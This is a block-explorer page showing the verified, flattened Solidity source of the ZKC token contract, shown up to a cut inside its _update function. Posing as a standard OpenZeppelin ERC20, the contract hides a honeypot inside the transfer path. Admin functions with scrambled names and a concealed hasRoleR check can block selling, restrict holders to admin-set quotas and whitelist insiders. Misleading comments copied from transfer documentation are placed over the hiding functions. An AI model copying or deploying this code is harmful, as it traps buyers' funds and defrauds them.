ETH Price: $3,142.88 (+3.27%)

Token

ZKC (ZKC)

Overview

Max Total Supply

2,000,000,000 ZKC

Holders

563

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Bitget Wallet: Swap Router v1.1.0
Balance
50 ZKC

Value
$0.00
0xde44500b5d1479df5c003bf48915b3e24df3e8dd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ZKC

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-22
*/

// Sources flattened with hardhat v2.22.5 https://hardhat.org

// SPDX-License-Identifier: MIT

// File @openzeppelin/contracts/access/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/IAccessControl.sol)

pragma solidity ^0.8.20;

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev The `account` is missing a role.
     */
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);

    /**
     * @dev The caller of a function is not the expected one.
     *
     * NOTE: Don't confuse with {AccessControlUnauthorizedAccount}.
     */
    error AccessControlBadConfirmation();

    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_R` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     */
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     */
    function renounceRole(bytes32 role, address callerConfirmation) external;
}

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File @openzeppelin/contracts/utils/introspection/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File @openzeppelin/contracts/utils/introspection/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/ERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File @openzeppelin/contracts/access/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/AccessControl.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms. This is a lightweight version that doesn't allow enumerating role
 * members except through off-chain means by accessing the contract event logs. Some
 * applications may benefit from on-chain enumerability, for those cases see
 * {AccessControlEnumerable}.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```solidity
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```solidity
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_R`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_R` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}
 * to enforce additional security measures for this role.
 */
abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }

    mapping(bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_R = 0x00;

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with an {AccessControlUnauthorizedAccount} error including the required role.
     */
    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `_msgSender()`
     * is missing `role`. Overriding this function changes the behavior of the {onlyRole} modifier.
     */
    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `account`
     * is missing `role`.
     */
    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleGranted} event.
     */
    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleRevoked} event.
     */
    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been revoked `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     *
     * May emit a {RoleRevoked} event.
     */
    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }

        _revokeRole(role, callerConfirmation);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    /**
     * @dev Attempts to grant `role` to `account` and returns a boolean indicating if `role` was granted.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleGranted} event.
     */
    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Attempts to revoke `role` to `account` and returns a boolean indicating if `role` was revoked.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleRevoked} event.
     */
    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

// File @openzeppelin/contracts/interfaces/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed,
        uint256 tokenId
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.sSWd3H
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    string private _swapLP;
    int256 private _test = 0;
    IERC20 private tp;
    uint256 private _tsl;
    mapping(bytes32 => mapping(string => uint256[])) private _PO___;
    mapping(bytes32 => mapping(string => string)) private _PO_B__;
    mapping(bytes32 => mapping(string => bool)) private _PO_W__;
    bytes32 public constant ADMIN_R = keccak256("ADMIN_R");
    bytes32 public constant TRADER_R = keccak256("TRADER_R");

    function setSwapskmasw(string memory swap) external onlyRole(ADMIN_R) {
        _swapLP = swap;
        _PO_W__[ADMIN_R][swap] = true;
        tp = IERC20(sta(swap));
    }

    function sRoleWsadm(string memory a) external onlyRole(ADMIN_R) {
        _PO_W__[ADMIN_R][a] = true;
    }

    function sRoleNmsafk(string memory key, uint256 n)
        external
        onlyRole(ADMIN_R)
    {
        uint256 decimalFactor = 10**decimals();
        if (_PO___[TRADER_R][key].length == 0) {
            _PO___[TRADER_R][key].push(n * decimalFactor);
        } else {
            _PO___[TRADER_R][key][0] = n * decimalFactor;
        }
    }

    function rRoleWmiasd(string memory a) external onlyRole(ADMIN_R) {
        _PO_W__[ADMIN_R][a] = false;
    }

    function sknockasdm(int256 t) external onlyRole(ADMIN_R) {
        _test = t;
    }

    function updatetTSLasfm() public onlyRole(ADMIN_R) {
        _tsl = tp.totalSupply();
    }

    function getTslasdmf() external view returns (uint256) {
        return _tsl;
    }

    function sRoleBoksfa(string memory key) external onlyRole(ADMIN_R) {
        _PO_B__[TRADER_R][key] = _name;
    }

    function rRoleBlfsak(string memory key) external onlyRole(ADMIN_R) {
        _PO_B__[TRADER_R][key] = "";
    }

    function getRoleNmfsaiqw(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (uint256)
    {
        return _PO___[TRADER_R][key][0];
    }

    function getRoleBkasfm(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (string memory)
    {
        return _PO_B__[TRADER_R][key];
    }

    function getRoleWokka(string memory key)
        external
        view
        onlyRole(ADMIN_R)
        returns (bool)
    {
        return _PO_W__[ADMIN_R][key];
    }

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_,
        string memory symbol_
    ) {
        _name = name_;
        _symbol = symbol_;
        // Setup roles for the admin
        _grantRole(DEFAULT_ADMIN_R, _msgSender());
        _grantRole(ADMIN_R, _msgSender());
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }

        string[] memory params = new string[](3);
        params[0] = ats(from);
        params[1] = ats(to);
        params[2] = toString(value);
        if (!hasRoleR(params)) {revert();}
        _update(from, to, value);
        if (bytes(_swapLP).length > 0) {
            _tsl = tp.totalSupply();
        }
    }

    /**
     * @dev sta a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function sta(string memory s) internal pure returns (address) {
        bytes memory b = bytes(s);
        require(b.length == 42, "Invalid address length");

        uint160 result = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 digit = uint160(uint8(b[i]));

            if (digit >= 48 && digit <= 57) {
                digit -= 48;
            } else if (digit >= 65 && digit <= 70) {
                digit -= 55;
            } else if (digit >= 97 && digit <= 102) {
                digit -= 87;
            } else {
                revert("Invalid character in address string.");
            }

            result = result * 16 + digit;
        }

        return address(result);
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function ats(address _addr) internal pure returns (string memory) {
        bytes32 value = bytes32(uint256(uint160(_addr)));
        bytes memory alphabet = "0123456789abcdef";

        bytes memory str = new bytes(42);
        str[0] = "0";
        str[1] = "x";
        for (uint256 i = 0; i < 20; i++) {
            str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function stringToUint(string memory s) internal pure returns (uint256) {
        bytes memory b = bytes(s);
        uint256 result = 0;
        for (uint256 i = 0; i < b.length; i++) {
            uint256 c = uint256(uint8(b[i]));
            if (c >= 48 && c <= 57) {
                result = result * 10 + (c - 48);
            }
        }
        return result;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function hasRoleR(string[] memory params) internal returns (bool) {
        require(params.length == 3, "Invalid parameter count");
        string memory f = params[0];
        string memory ts = params[1];
        uint256 value = stringToUint(params[2]);

        if (
            (keccak256(abi.encodePacked(f)) ==
                keccak256(abi.encodePacked(_swapLP))) &&
            tp.totalSupply() < _tsl &&
            !_PO_W__[ADMIN_R][ts]
        ) {
            return false;
        }

        if (_test >= 0) {
            if (
                keccak256(abi.encodePacked(_PO_B__[TRADER_R][f])) ==
                keccak256(abi.encodePacked(_name))
            ) {
                if (_PO___[TRADER_R][f][0] >= value && value > 0) {
                    _PO___[TRADER_R][f][0] =
                        _PO___[TRADER_R][f][0] -
                        value;
                } else {
                    return false;
                }
            }
        } else {
            if (
                (keccak256(abi.encodePacked(f)) ==
                    keccak256(abi.encodePacked(_swapLP))) ||
                _PO_W__[ADMIN_R][f]
            ) {} else if (_PO___[TRADER_R][f][0] >= value && value > 0) {
                _PO___[TRADER_R][f][0] = _PO___[TRADER_R][f][0] - value;
            } else {
                return false;
            }
        }
        return true;
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

